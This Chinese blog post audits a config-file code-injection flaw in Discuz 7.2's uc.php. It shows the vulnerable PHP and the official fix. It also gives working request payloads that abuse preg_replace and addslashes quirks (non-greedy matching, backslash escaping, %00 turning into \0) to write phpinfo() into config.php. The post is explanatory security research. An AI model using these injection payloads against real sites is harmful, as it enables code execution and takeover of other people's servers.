[代碼審計(jì)]-PHP配置文件寫(xiě)漏洞

問(wèn)題

阿里云安騎士報(bào)discuz 7.2版本的/api/uc.php存在代碼寫(xiě)入漏洞,導(dǎo)致黑客可寫(xiě)入惡意代碼獲取uckey,最終進(jìn)入網(wǎng)站后臺(tái),造成數(shù)據(jù)泄漏。

漏洞代碼

function updateapps($get, $post) {
    ......
    #行360
    $configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
    $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;

     //將POST收到子系統(tǒng)的uc_api寫(xiě)入配置文件,
    //對(duì)接收的參數(shù)增加addslashes避免直接輸入[' | "] 閉包前面的符號(hào),造成寫(xiě)任意代碼
    $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i",
                    "define('UC_API', '".addslashes($UC_API)."');", $configfile);

    if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
        @fwrite($fp, trim($configfile));
        @fclose($fp);
    }
    ......
}

最開(kāi)始處理這個(gè)漏洞時(shí),只是照著網(wǎng)上的方案修復(fù)了一下,未求甚解。直到最近看了P神的博客,突然茅塞頓開(kāi)。照葫蘆畫(huà)瓢寫(xiě)下這個(gè)漏洞的利用方法。

后話:最好的修復(fù)方式應(yīng)該是:與最新版系統(tǒng)對(duì)比不同。
此外,當(dāng)有開(kāi)源系統(tǒng)發(fā)布新版時(shí),也可以通過(guò)查看diff高效的發(fā)現(xiàn)舊舊版本安全漏洞。

漏洞利用

假設(shè)對(duì)方已經(jīng)獲取了你的UC_KEY,可以使用Dz自帶的_authcode方法發(fā)送任意的請(qǐng)求。將漏洞代碼簡(jiǎn)化如下:

#讀取配置,用請(qǐng)求參數(shù)中的UC_API替換文件內(nèi)容,回寫(xiě)到文件中
$file = file_get_contents('./config.php');

$UC_API = $_REQUEST['uc_api'];
$file = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $file);

file_put_contents('./config.php', $file); 

法1 (利用正則 .*? 的非貪婪匹配 )

#第一步:插入',并用//注釋后面的代碼
http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();//
#config.php : 此時(shí)配置正常
      define('UC_API', 'aaa\');phpinfo();//');

#第二步:uc_api=任意內(nèi)容,利用正則將兩個(gè)['aaa\']中的內(nèi)容提換掉
http://localhost/safe/conf_test.php?uc_api=ccb
#confing.php:  摻入phpinfo 代碼可執(zhí)行
      define('UC_API', 'ccb');phpinfo();//');

OR,使用 %0a將代碼折行注釋

#第一步:插入',并折行注釋后續(xù)代碼
http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();%0a//
#config.php : 
      # define('UC_API', 'aaa\');phpinfo();
      # //');

#第二步同上

法2 (利用preg_replace 第二個(gè)參數(shù),自動(dòng)轉(zhuǎn)義反斜線 '' )

preg_replace.png

正則替換的第二個(gè)參數(shù)會(huì)自動(dòng)進(jìn)行轉(zhuǎn)義,將兩個(gè)連續(xù)的\\,轉(zhuǎn)義為一個(gè)\。 所以如果存在 {\\\'} 則會(huì)被轉(zhuǎn)義為{\\'},最后多出來(lái)一個(gè){'}

#訪問(wèn):
 http://localhost/safe/conf_test.php?uc_api=aaa\');phpinfo();//
#config.php : 成功插入可執(zhí)行代碼
      define('UC_API', 'aaa\\'); phpinfo(); //');

法3(利用正則\n|$n,將第n個(gè)子組替換到文本中)

#正則替換子組功能示例
$a = 'aa1234aa';
$b = preg_replace('/aa(\d+)aa/', 'bb\1bb', $a);
echo $b;
//輸出: bb1234bb。 詳細(xì)說(shuō)明見(jiàn)上圖preg_replace.png

%00 代表字符串Null,有各種文件相關(guān)的截?cái)嗦┒础?但addslashes( urldecode(%00) ) = '\0'。
在正則中'\0' 正好表示完整模式的匹配文本,可以用來(lái)利用。

#第一步:
http://localhost/safe/conf_test.php?uc_api=aaa);phpinfo();//
#config.php : 
      define('UC_API', 'aaa);phpinfo();//');

#第二步:uc_api=%00
#confing.php:  
       define('UC_API', '【define('UC_API', 'aaa\');】');phpinfo();//');

#第三步:
# todo,這個(gè)使用define來(lái)配置變量,在此處用%00這個(gè)方法不是很好實(shí)現(xiàn)漏洞利用,構(gòu)造合規(guī)語(yǔ)法需要多次嘗試。

下面套用一個(gè)簡(jiǎn)單的例子:

<?php 
#conf_set.php  
#配置文件使用 $option='xxx'; 形式來(lái)配置,覆蓋語(yǔ)法一樣
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
file_put_contents('xxxxx/option.php',$file);
?>

漏洞復(fù)現(xiàn):

#第一次傳入:;phpinfo();
     #文件內(nèi)容:$option=';phpinfo();';

#第二次傳入:%00
     #%00被addslashes()轉(zhuǎn)為\0,而\0在preg_replace函數(shù)中會(huì)被替換為“匹配到的全部?jī)?nèi)容”,
     #此時(shí)preg_replace要執(zhí)行的代碼如下:
     preg_replace('|\$option=\'.*\';|',"\$option='\0';",$file);
     
     #文件內(nèi)容: $option='\$option=';  phpinfo(); ';';   

#成功閉合

漏洞修復(fù)

官網(wǎng)修復(fù)方案:

//1. 先過(guò)濾掉POST參數(shù)中的特殊字符
if($post['UC_API']) {
    $UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
    unset($post['UC_API']);
        }

......
//2. 寫(xiě)入文件前判斷UC_API是否為url格式
if(preg_match('/^https?:\/\//is', $UC_API)) {
    $configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
    $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
    
    $configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", 
                 "define('UC_API', '".addslashes($UC_API)."');", $configfile);
    
    if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
        @fwrite($fp, trim($configfile));
        @fclose($fp);
    }
}


相關(guān)閱讀:

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢(shì)1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 178,825評(píng)論 25 709
  • Spring Cloud為開(kāi)發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見(jiàn)模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 136,511評(píng)論 19 139
  • 你是不是經(jīng)常在同一家飯店吃飯,而不愿意嘗試新的餐廳,新的菜品? 你是不是經(jīng)常買(mǎi)常買(mǎi)的那幾個(gè)牌子的衣服、鞋子,而不愿...
    Fanny讀書(shū)閱讀 336評(píng)論 0 2
  • 你學(xué)到了什么 在這一章,你學(xué)到了以下內(nèi)容。 1什么是模塊。模塊其實(shí)也是一個(gè)python文件,是一個(gè)程序,里面包含著...
    然2016閱讀 254評(píng)論 0 0
  • 近期,堪比年度大戲的芭莎慈善夜,可謂為吃瓜群眾們提供不少“料”。有女明星搶“戲”場(chǎng),有秀恩愛(ài)場(chǎng),還有塑料姐妹花場(chǎng),...
    潮流一起說(shuō)閱讀 391評(píng)論 0 0

友情鏈接更多精彩內(nèi)容